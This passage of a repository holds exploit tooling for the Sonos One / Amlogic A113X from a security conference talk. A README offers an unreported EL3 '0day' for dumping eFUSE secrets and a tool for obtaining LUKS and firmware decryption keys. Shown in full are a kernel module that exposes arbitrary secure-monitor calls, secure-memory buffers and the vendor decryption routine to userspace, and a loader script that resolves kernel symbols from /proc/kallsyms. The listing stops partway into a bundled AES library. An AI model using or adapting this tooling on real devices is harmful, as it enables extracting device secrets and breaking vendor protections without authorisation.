├── README.md ├── el3_exploit ├── lkm │ ├── Makefile │ ├── khax.c │ └── load_lkm.sh └── main │ ├── Makefile │ ├── include │ ├── aes.h │ └── sha256.h │ └── src │ ├── aes.c │ ├── main.c │ └── sha256.c └── sonostool ├── requirements.txt └── sonostool.py /README.md: -------------------------------------------------------------------------------- 1 | # sonos/amlogic haxx 2 | 3 | here you will find some exploit & tool code that was part of my presentation 4 | about the Sonos One @ Hack in the Box amsterdam 2023. 5 | 6 | the EL3 exploit can be used to dump your OTP/eFUSE data. 7 | 8 | sonostool can be used to get decryption keys for Sonos LUKS volumes as well as 9 | fetch and decrypt OTA updates without using a sonos device as an oracle. 10 | 11 | the EL3 exploit/bug is still 0day at the time of writing. (never reported to vendor) 12 | 13 | enjoy! 14 | 15 | -- blasty 16 | -------------------------------------------------------------------------------- /el3_exploit/lkm/Makefile: -------------------------------------------------------------------------------- 1 | obj-m = khax.o 2 | KDIR := ../linux-4.9.99 3 | PWD := $(shell pwd) 4 | 5 | .PHONY: default 6 | default: 7 | $(MAKE) -C $(KDIR) ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- M=$(PWD) -------------------------------------------------------------------------------- /el3_exploit/lkm/khax.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | // this messy parameterization is because I had issues when 14 | // resolving these kernel symbols automagically 15 | #define ADDR_PARAM(name) \ 16 | static unsigned long addr_##name; \ 17 | module_param_named(name, addr_##name, ulong, 0); 18 | 19 | ADDR_PARAM(sonos_blob_encdec) 20 | ADDR_PARAM(kmalloc) 21 | ADDR_PARAM(kfree) 22 | ADDR_PARAM(flush_dcache_area) 23 | 24 | #define INPUT_A_BASE 0xffffffc0050fe000 25 | #define OUTPUT_A_BASE 0xffffffc0050ff000 26 | #define INPUT_B_BASE 0xffffffc005000000 27 | #define OUTPUT_B_BASE 0xffffffc005040000 28 | #define STORAGE_BASE 0xffffffc005080000 29 | #define HAXBUF_BASE 0xffffffc006000000 30 | 31 | #define SHARED_BUFFER_SIZE (1024 * 128) 32 | #define HAXBUF_SIZE (1024 * 1024) 33 | 34 | static struct dentry *debugfs_root = NULL; 35 | static uint8_t g_dec_input_buf[SHARED_BUFFER_SIZE]; 36 | static uint8_t g_dec_output_buf[SHARED_BUFFER_SIZE]; 37 | static uint8_t *g_haxbuf; 38 | static uint64_t g_rv; 39 | 40 | typedef void *(*sonos_blob_encdec_f)(bool, uint8_t *, size_t, uint8_t *, size_t *, char *, size_t); 41 | typedef void *(*_kmalloc_f)(size_t size, gfp_t flags); 42 | typedef void *(*_kfree_f)(void *addr); 43 | typedef void (*_flush_dcache_area_f)(void *addr, size_t len); 44 | 45 | static sonos_blob_encdec_f sonos_blob_encdec; 46 | static _kmalloc_f kkmalloc; 47 | static _kfree_f kkfree; 48 | static _flush_dcache_area_f _flush_dcache_area; 49 | 50 | static noinline long smc_exec(uint64_t function_id, uint64_t arg0, uint64_t arg1, uint64_t arg2) 51 | { 52 | register long x0 asm("x0") = function_id; 53 | register long x1 asm("x1") = arg0; 54 | register long x2 asm("x2") = arg1; 55 | register long x3 asm("x3") = arg2; 56 | asm volatile( 57 | __asmeq("%0", "x0") 58 | __asmeq("%1", "x1") 59 | __asmeq("%2", "x2") 60 | __asmeq("%3", "x3") "smc #0\n" 61 | : "+r"(x0) 62 | : "r"(x1), "r"(x2), "r"(x3)); 63 | 64 | return x0; 65 | } 66 | 67 | static ssize_t smc_read_file( 68 | struct file *file, char __user *userbuf, size_t count, loff_t *ppos) 69 | { 70 | if (count != 8) 71 | { 72 | return -EINVAL; 73 | } 74 | 75 | if (*ppos != 0) 76 | { 77 | return -EINVAL; 78 | } 79 | 80 | if (copy_to_user(userbuf, &g_rv, 8)) 81 | { 82 | return -EFAULT; 83 | } 84 | 85 | return 8; 86 | } 87 | 88 | static ssize_t smc_write_file( 89 | struct file *file, const char __user *userbuf, size_t count, loff_t *ppos) 90 | { 91 | char buf[80]; 92 | uint64_t arg0, arg1, arg2, arg3; 93 | 94 | count = min_t(size_t, count, (sizeof(buf) - 1)); 95 | if (copy_from_user(buf, userbuf, count)) 96 | return -EFAULT; 97 | 98 | buf[count] = 0; 99 | 100 | sscanf(buf, "%llx %llx %llx %llx", &arg0, &arg1, &arg2, &arg3); 101 | 102 | g_rv = smc_exec(arg0, arg1, arg2, arg3); 103 | 104 | printk(KERN_ALERT "hax: SMC call %llx returns: %llx\n", arg0, g_rv); 105 | 106 | return count; 107 | } 108 | 109 | static ssize_t shared_write(uint8_t *base, struct file *file, const char __user *userbuf, size_t count, loff_t *ppos) 110 | { 111 | if (*ppos >= SHARED_BUFFER_SIZE) 112 | { 113 | count = 0; 114 | goto out; 115 | } 116 | 117 | if (*ppos + count > SHARED_BUFFER_SIZE) 118 | { 119 | count = SHARED_BUFFER_SIZE - *ppos; 120 | } 121 | 122 | if (copy_from_user(base + *ppos, userbuf, count)) 123 | { 124 | return -EFAULT; 125 | } 126 | *ppos += count; 127 | 128 | out: 129 | return count; 130 | } 131 | 132 | static ssize_t shared_read(uint8_t *base, struct file *file, char __user *userbuf, size_t count, loff_t *ppos) 133 | { 134 | if (*ppos >= SHARED_BUFFER_SIZE) 135 | { 136 | count = 0; 137 | goto out; 138 | } 139 | 140 | if (*ppos + count > SHARED_BUFFER_SIZE) 141 | { 142 | count = SHARED_BUFFER_SIZE - *ppos; 143 | } 144 | 145 | if (copy_to_user(userbuf, base + *ppos, count)) 146 | { 147 | return -EFAULT; 148 | } 149 | *ppos += count; 150 | 151 | out: 152 | return count; 153 | } 154 | 155 | #define GEN_SHARED_READ(NAME, BASE) \ 156 | static ssize_t shared_##NAME##_read( \ 157 | struct file *file, char __user *userbuf, size_t count, loff_t *ppos) \ 158 | { \ 159 | return shared_read((uint8_t *)(BASE), file, userbuf, count, ppos); \ 160 | } 161 | 162 | #define GEN_SHARED_WRITE(NAME, BASE) \ 163 | static ssize_t shared_##NAME##_write( \ 164 | struct file *file, const char __user *buf, size_t count, loff_t *ppos) \ 165 | { \ 166 | return shared_write((uint8_t *)BASE, file, buf, count, ppos); \ 167 | } 168 | 169 | #define GEN_FILE_OPS(NAME) \ 170 | static const struct file_operations shared_##NAME##_file_ops = { \ 171 | .owner = THIS_MODULE, \ 172 | .open = simple_open, \ 173 | .write = shared_##NAME##_write, \ 174 | .read = shared_##NAME##_read, \ 175 | }; 176 | 177 | #define GEN_NODE(NAME, BASE) \ 178 | GEN_SHARED_READ(NAME, BASE) \ 179 | GEN_SHARED_WRITE(NAME, BASE) \ 180 | GEN_FILE_OPS(NAME) 181 | 182 | GEN_NODE(input_a, INPUT_A_BASE) 183 | GEN_NODE(output_a, OUTPUT_A_BASE) 184 | GEN_NODE(input_b, INPUT_B_BASE) 185 | GEN_NODE(output_b, OUTPUT_B_BASE) 186 | GEN_NODE(storage, STORAGE_BASE) 187 | GEN_NODE(haxbuf, HAXBUF_BASE) 188 | GEN_NODE(dec_input, HAXBUF_BASE) 189 | GEN_NODE(dec_output, HAXBUF_BASE) 190 | 191 | static ssize_t dec_trigger_write(struct file *file, const char __user *userbuf, size_t count, loff_t *ppos) 192 | { 193 | uint32_t *p32 = (uint32_t *)(g_dec_input_buf); 194 | size_t pOutLen = SHARED_BUFFER_SIZE; 195 | 196 | uint32_t buf_len = p32[0]; 197 | uint32_t modifier_len = p32[1]; 198 | 199 | uint8_t *encbuf = g_dec_input_buf + 8 + 8; 200 | char *modifier = (char *)(g_dec_input_buf + 8); 201 | 202 | printk(KERN_ALERT "starting decrypt of size 0x%08x\n", buf_len); 203 | printk(KERN_ALERT "modifier is '%s' (len 0x%x)\n", modifier, modifier_len); 204 | 205 | memset(g_dec_output_buf, 0, SHARED_BUFFER_SIZE); 206 | 207 | if (sonos_blob_encdec != (sonos_blob_encdec_f)0) 208 | { 209 | if (sonos_blob_encdec( 210 | false, 211 | encbuf, buf_len, g_dec_output_buf, &pOutLen, 212 | modifier, modifier_len) != 0) 213 | { 214 | printk(KERN_ALERT "sonos_blob_encdec failed.\n"); 215 | } 216 | else 217 | { 218 | printk(KERN_ALERT "sonos_blob_encdec OK. pOutLen = 0x%lx\n", pOutLen); 219 | } 220 | } 221 | else 222 | { 223 | memset(g_dec_output_buf, 0xAA, 0x40); 224 | } 225 | 226 | return count; 227 | } 228 | 229 | static const struct file_operations smc_file_ops = { 230 | .owner = THIS_MODULE, 231 | .open = simple_open, 232 | .write = smc_write_file, 233 | .read = smc_read_file, 234 | }; 235 | 236 | static const struct file_operations dec_trigger_file_ops = { 237 | .owner = THIS_MODULE, 238 | .open = simple_open, 239 | .write = dec_trigger_write, 240 | }; 241 | 242 | static int __init hax_init(void) 243 | { 244 | 245 | sonos_blob_encdec = (sonos_blob_encdec_f)addr_sonos_blob_encdec; 246 | kkmalloc = (_kmalloc_f)addr_kmalloc; 247 | kkfree = (_kfree_f)addr_kfree; 248 | _flush_dcache_area = (_flush_dcache_area_f)addr_flush_dcache_area; 249 | 250 | printk(KERN_ALERT "hax: HELLO!\n"); 251 | printk(KERN_ALERT "hax: sonos_blob_encdec = 0x%p\n", sonos_blob_encdec); 252 | 253 | memset(g_dec_input_buf, 0, SHARED_BUFFER_SIZE); 254 | memset(g_dec_output_buf, 0, SHARED_BUFFER_SIZE); 255 | 256 | g_haxbuf = kkmalloc(HAXBUF_SIZE, GFP_KERNEL); 257 | 258 | debugfs_root = debugfs_create_dir("hax", NULL); 259 | if (IS_ERR(debugfs_root) || !debugfs_root) 260 | { 261 | pr_warn("hax: failed to create hax debugfs directory\n"); 262 | debugfs_root = NULL; 263 | return -1; 264 | } 265 | 266 | #define REGISTER_NODE(NAME) \ 267 | if (!debugfs_create_file( \ 268 | #NAME, S_IFREG | S_IRUGO, debugfs_root, \ 269 | NULL, &NAME##_file_ops)) \ 270 | { \ 271 | printk(KERN_ALERT "hax: failed to create %s file\n", #NAME); \ 272 | return -1; \ 273 | } 274 | 275 | #define REGISTER_NODE_SIZE(NAME, SIZE) \ 276 | if (!debugfs_create_file_size( \ 277 | #NAME, S_IFREG | S_IRUGO, debugfs_root, \ 278 | NULL, &shared_##NAME##_file_ops, SIZE)) \ 279 | { \ 280 | printk(KERN_ALERT "hax: failed to create %s file\n", #NAME); \ 281 | return -1; \ 282 | } 283 | 284 | REGISTER_NODE(smc) 285 | REGISTER_NODE(dec_trigger) 286 | 287 | REGISTER_NODE_SIZE(input_a, SHARED_BUFFER_SIZE) 288 | REGISTER_NODE_SIZE(output_a, SHARED_BUFFER_SIZE) 289 | REGISTER_NODE_SIZE(input_b, SHARED_BUFFER_SIZE) 290 | REGISTER_NODE_SIZE(output_b, SHARED_BUFFER_SIZE) 291 | REGISTER_NODE_SIZE(storage, SHARED_BUFFER_SIZE) 292 | REGISTER_NODE_SIZE(haxbuf, SHARED_BUFFER_SIZE) 293 | REGISTER_NODE_SIZE(dec_input, SHARED_BUFFER_SIZE) 294 | REGISTER_NODE_SIZE(dec_output, SHARED_BUFFER_SIZE) 295 | 296 | printk(KERN_ALERT "hax: registered all debugfs nodes!\n"); 297 | 298 | return 0; 299 | } 300 | 301 | static void __exit hax_exit(void) 302 | { 303 | printk(KERN_ALERT "hax: exiting...\n"); 304 | if (debugfs_root) 305 | debugfs_remove_recursive(debugfs_root); 306 | if (g_haxbuf != (uint8_t *)0) 307 | { 308 | kkfree(g_haxbuf); 309 | } 310 | } 311 | 312 | module_init(hax_init); 313 | module_exit(hax_exit); 314 | 315 | MODULE_DESCRIPTION("hax module"); 316 | MODULE_LICENSE("GPL"); 317 | MODULE_AUTHOR("blasty "); 318 | -------------------------------------------------------------------------------- /el3_exploit/lkm/load_lkm.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ksym() { 4 | cat /proc/kallsyms | egrep " $1"'$' | awk '{ print $1 }' 5 | } 6 | 7 | echo insmod khax.ko \ 8 | sonos_blob_encdec=0x$(ksym sonos_blob_encdec) \ 9 | kmalloc=0x$(ksym __kmalloc) \ 10 | kfree=0x$(ksym kfree) \ 11 | flush_dcache_area=0x$(ksym __flush_dcache_area) 12 | 13 | insmod khax.ko \ 14 | sonos_blob_encdec=0x$(ksym sonos_blob_encdec) \ 15 | kmalloc=0x$(ksym __kmalloc) \ 16 | kfree=0x$(ksym kfree) \ 17 | flush_dcache_area=0x$(ksym __flush_dcache_area) \ 18 | 19 | echo "[+] LKM loaded" 20 | -------------------------------------------------------------------------------- /el3_exploit/main/Makefile: -------------------------------------------------------------------------------- 1 | TOOLCHAIN := aarch64-linux-musl 2 | 3 | all: 4 | $(TOOLCHAIN)-gcc -I./include -o a113x-el3-pwn src/*.c -static 5 | -------------------------------------------------------------------------------- /el3_exploit/main/include/aes.h: -------------------------------------------------------------------------------- 1 | #ifndef _AES_H_ 2 | #define _AES_H_ 3 | 4 | #include 5 | #include 6 | 7 | // #define the macros below to 1/0 to enable/disable the mode of operation. 8 | // 9 | // CBC enables AES encryption in CBC-mode of operation. 10 | // CTR enables encryption in counter-mode. 11 | // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. 12 | 13 | // The #ifndef-guard allows it to be configured before #include'ing or at compile time. 14 | #ifndef CBC 15 | #define CBC 1 16 | #endif 17 | 18 | /* 19 | #ifndef ECB 20 | #define ECB 1 21 | #endif 22 | 23 | #ifndef CTR 24 | #define CTR 1 25 | #endif 26 | */ 27 | 28 | //#define AES128 1 29 | //#define AES192 1 30 | #define AES256 1 31 | 32 | #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only 33 | 34 | #if defined(AES256) && (AES256 == 1) 35 | #define AES_KEYLEN 32 36 | #define AES_keyExpSize 240 37 | #elif defined(AES192) && (AES192 == 1) 38 | #define AES_KEYLEN 24 39 | #define AES_keyExpSize 208 40 | #else 41 | #define AES_KEYLEN 16 // Key length in bytes 42 | #define AES_keyExpSize 176 43 | #endif 44 | 45 | struct AES_ctx 46 | { 47 | uint8_t RoundKey[AES_keyExpSize]; 48 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 49 | uint8_t Iv[AES_BLOCKLEN]; 50 | #endif 51 | }; 52 | 53 | void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); 54 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 55 | void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); 56 | void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); 57 | #endif 58 | 59 | #if defined(ECB) && (ECB == 1) 60 | // buffer size is exactly AES_BLOCKLEN bytes; 61 | // you need only AES_init_ctx as IV is not used in ECB 62 | // NB: ECB is considered insecure for most uses 63 | void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); 64 | void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); 65 | 66 | #endif // #if defined(ECB) && (ECB == !) 67 | 68 | 69 | #if defined(CBC) && (CBC == 1) 70 | // buffer size MUST be mutile of AES_BLOCKLEN; 71 | // Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 72 | // NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() 73 | // no IV should ever be reused with the same key 74 | void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); 75 | void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); 76 | 77 | #endif // #if defined(CBC) && (CBC == 1) 78 | 79 | 80 | #if defined(CTR) && (CTR == 1) 81 | 82 | // Same function for encrypting as for decrypting. 83 | // IV is incremented for every block, and used after encryption as XOR-compliment for output 84 | // Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 85 | // NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() 86 | // no IV should ever be reused with the same key 87 | void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); 88 | 89 | #endif // #if defined(CTR) && (CTR == 1) 90 | 91 | 92 | #endif // _AES_H_ 93 | -------------------------------------------------------------------------------- /el3_exploit/main/include/sha256.h: -------------------------------------------------------------------------------- 1 | /********************************************************************* 2 | * Filename: sha256.h 3 | * Author: Brad Conte (brad AT bradconte.com) 4 | * Copyright: 5 | * Disclaimer: This code is presented "as is" without any guarantees. 6 | * Details: Defines the API for the corresponding SHA1 implementation. 7 | *********************************************************************/ 8 | 9 | #ifndef SHA256_H 10 | #define SHA256_H 11 | 12 | /*************************** HEADER FILES ***************************/ 13 | #include 14 | 15 | /****************************** MACROS ******************************/ 16 | #define SHA256_BLOCK_SIZE 32 // SHA256 outputs a 32 byte digest 17 | 18 | /**************************** DATA TYPES ****************************/ 19 | typedef unsigned char BYTE; // 8-bit byte 20 | typedef unsigned int WORD; // 32-bit word, change to "long" for 16-bit machines 21 | 22 | typedef struct 23 | { 24 | BYTE data[64]; 25 | WORD datalen; 26 | unsigned long long bitlen; 27 | WORD state[8]; 28 | } SHA256_CTX; 29 | 30 | /*********************** FUNCTION DECLARATIONS **********************/ 31 | void sha256_init(SHA256_CTX *ctx); 32 | void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len); 33 | void sha256_final(SHA256_CTX *ctx, BYTE hash[]); 34 | 35 | #endif // SHA256_H -------------------------------------------------------------------------------- /el3_exploit/main/src/aes.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. 4 | Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. 5 | 6 | The implementation is verified against the test vectors in: 7 | National Institute of Standards and Technology Special Publication 800-38A 2001 ED 8 | 9 | ECB-AES128 10 | ---------- 11 | 12 | plain-text: 13 | 6bc1bee22e409f96e93d7e117393172a 14 | ae2d8a571e03ac9c9eb76fac45af8e51 15 | 30c81c46a35ce411e5fbc1191a0a52ef 16 | f69f2445df4f9b17ad2b417be66c3710 17 | 18 | key: 19 | 2b7e151628aed2a6abf7158809cf4f3c 20 | 21 | resulting cipher 22 | 3ad77bb40d7a3660a89ecaf32466ef97 23 | f5d3d58503b9699de785895a96fdbaaf 24 | 43b1cd7f598ece23881b00e3ed030688 25 | 7b0c785e27e8ad3f8223207104725dd4 26 | 27 | 28 | NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) 29 | You should pad the end of the string with zeros if this is not the case. 30 | For AES192/256 the key size is proportionally larger. 31 | 32 | */ 33 | 34 | 35 | /*****************************************************************************/ 36 | /* Includes: */ 37 | /*****************************************************************************/ 38 | #include // CBC mode, for memset 39 | #include "aes.h" 40 | 41 | /*****************************************************************************/ 42 | /* Defines: */ 43 | /*****************************************************************************/ 44 | // The number of columns comprising a state in AES. This is a constant in AES. Value=4 45 | #define Nb 4 46 | 47 | #if defined(AES256) && (AES256 == 1) 48 | #define Nk 8 49 | #define Nr 14 50 | #elif defined(AES192) && (AES192 == 1) 51 | #define Nk 6 52 | #define Nr 12 53 | #else 54 | #define Nk 4 // The number of 32 bit words in a key. 55 | #define Nr 10 // The number of rounds in AES Cipher. 56 | #endif 57 | 58 | // jcallan@github points out that declaring Multiply as a function 59 | // reduces code size considerably with the Keil ARM compiler. 60 | // See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3 61 | #ifndef MULTIPLY_AS_A_FUNCTION 62 | #define MULTIPLY_AS_A_FUNCTION 0 63 | #endif 64 | 65 | 66 | 67 | 68 | /*****************************************************************************/ 69 | /* Private variables: */ 70 | /*****************************************************************************/ 71 | // state - array holding the intermediate results during decryption. 72 | typedef uint8_t state_t[4][4]; 73 | 74 | 75 | 76 | // The lookup-tables are marked const so they can be placed in read-only storage instead of RAM 77 | // The numbers below can be computed dynamically trading ROM for RAM - 78 | // This can be useful in (embedded) bootloader applications, where ROM is often limited. 79 | static const uint8_t sbox[256] = { 80 | //0 1 2 3 4 5 6 7 8 9 A B C D E F 81 | 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 82 | 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 83 | 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 84 | 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 85 | 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 86 | 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 87 | 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 88 | 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 89 | 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 90 | 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 91 | 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 92 | 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 93 | 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 94 | 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 95 | 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 96 | 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; 97 | 98 | #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 99 | static const uint8_t rsbox[256] = { 100 | 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 101 | 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 102 | 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 103 | 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 104 | 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 105 | 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 106 | 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 107 | 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 108 | 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 109 | 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 110 | 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 111 | 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 112 | 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 113 | 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 114 | 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 115 | 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d }; 116 | #endif 117 | 118 | // The round constant word array, Rcon[i], contains the values given by 119 | // x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8) 120 | static const uint8_t Rcon[11] = { 121 | 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; 122 | 123 | /* 124 | * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12), 125 | * that you can remove most of the elements in the Rcon array, because they are unused. 126 | * 127 | * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon 128 | * 129 | * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), 130 | * up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm." 131 | */ 132 | 133 | 134 | /*****************************************************************************/ 135 | /* Private functions: */ 136 | /*****************************************************************************/ 137 | /* 138 | static uint8_t getSBoxValue(uint8_t num) 139 | { 140 | return sbox[num]; 141 | } 142 | */ 143 | #define getSBoxValue(num) (sbox[(num)]) 144 | 145 | // This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 146 | static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key) 147 | { 148 | unsigned i, j, k; 149 | uint8_t tempa[4]; // Used for the column/row operations 150 | 151 | // The first round key is the key itself. 152 | for (i = 0; i < Nk; ++i) 153 | { 154 | RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; 155 | RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; 156 | RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; 157 | RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; 158 | } 159 | 160 | // All other round keys are found from the previous round keys. 161 | for (i = Nk; i < Nb * (Nr + 1); ++i) 162 | { 163 | { 164 | k = (i - 1) * 4; 165 | tempa[0]=RoundKey[k + 0]; 166 | tempa[1]=RoundKey[k + 1]; 167 | tempa[2]=RoundKey[k + 2]; 168 | tempa[3]=RoundKey[k + 3]; 169 | 170 | } 171 | 172 | if (i % Nk == 0) 173 | { 174 | // This function shifts the 4 bytes in a word to the left once. 175 | // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] 176 | 177 | // Function RotWord() 178 | { 179 | const uint8_t u8tmp = tempa[0]; 180 | tempa[0] = tempa[1]; 181 | tempa[1] = tempa[2]; 182 | tempa[2] = tempa[3]; 183 | tempa[3] = u8tmp; 184 | } 185 | 186 | // SubWord() is a function that takes a four-byte input word and 187 | // applies the S-box to each of the four bytes to produce an output word. 188 | 189 | // Function Subword() 190 | { 191 | tempa[0] = getSBoxValue(tempa[0]); 192 | tempa[1] = getSBoxValue(tempa[1]); 193 | tempa[2] = getSBoxValue(tempa[2]); 194 | tempa[3] = getSBoxValue(tempa[3]); 195 | } 196 | 197 | tempa[0] = tempa[0] ^ Rcon[i/Nk]; 198 | } 199 | #if defined(AES256) && (AES256 == 1) 200 | if (i % Nk == 4) 201 | { 202 | // Function Subword() 203 | { 204 | tempa[0] = getSBoxValue(tempa[0]); 205 | tempa[1] = getSBoxValue(tempa[1]); 206 | tempa[2] = getSBoxValue(tempa[2]); 207 | tempa[3] = getSBoxValue(tempa[3]); 208 | } 209 | } 210 | #endif 211 | j = i * 4; k=(i - Nk) * 4; 212 | RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; 213 | RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; 214 | RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; 215 | RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; 216 | } 217 | } 218 | 219 | void AES_init_ctx(struct 